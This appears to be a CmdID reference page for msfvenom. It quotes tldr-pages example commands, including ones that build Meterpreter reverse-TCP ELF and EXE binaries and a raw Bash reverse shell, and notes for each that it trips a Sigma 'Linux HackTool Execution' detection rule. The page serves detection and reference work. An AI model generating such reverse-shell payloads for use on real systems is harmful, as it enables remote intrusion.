CmdID

CmdID / Commands

msfvenom

Manually generate payloads for metasploit. tldr-pages

On several platforms 1 Sigma rule name it

Opens CmdID with your command. It is read in your browser and sent nowhere.

Several platforms

from tldr-pages, CC BY 4.0

List payloads

msfvenom --list payloadsIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

List formats

msfvenom --list formatsIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

Show payload options

msfvenom --payload payload --list-optionsIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

Create an ELF binary with a reverse TCP handler

msfvenom --payload linux/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port --format elf --out path/to/binaryIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

Create an EXE binary with a reverse TCP handler

msfvenom --payload windows/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port --format exe --out path/to/binary.exeIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

Create a raw Bash with a reverse TCP handler

msfvenom --payload cmd/unix/reverse_bash LHOST=local_ip LPORT=local_port --format rawIdentify

Trips 1 Sigma rule: highLinux HackTool Execution by Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])

What detects it

Sigma process creation rules that name msfvenom
highLinux HackTool ExecutionNasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])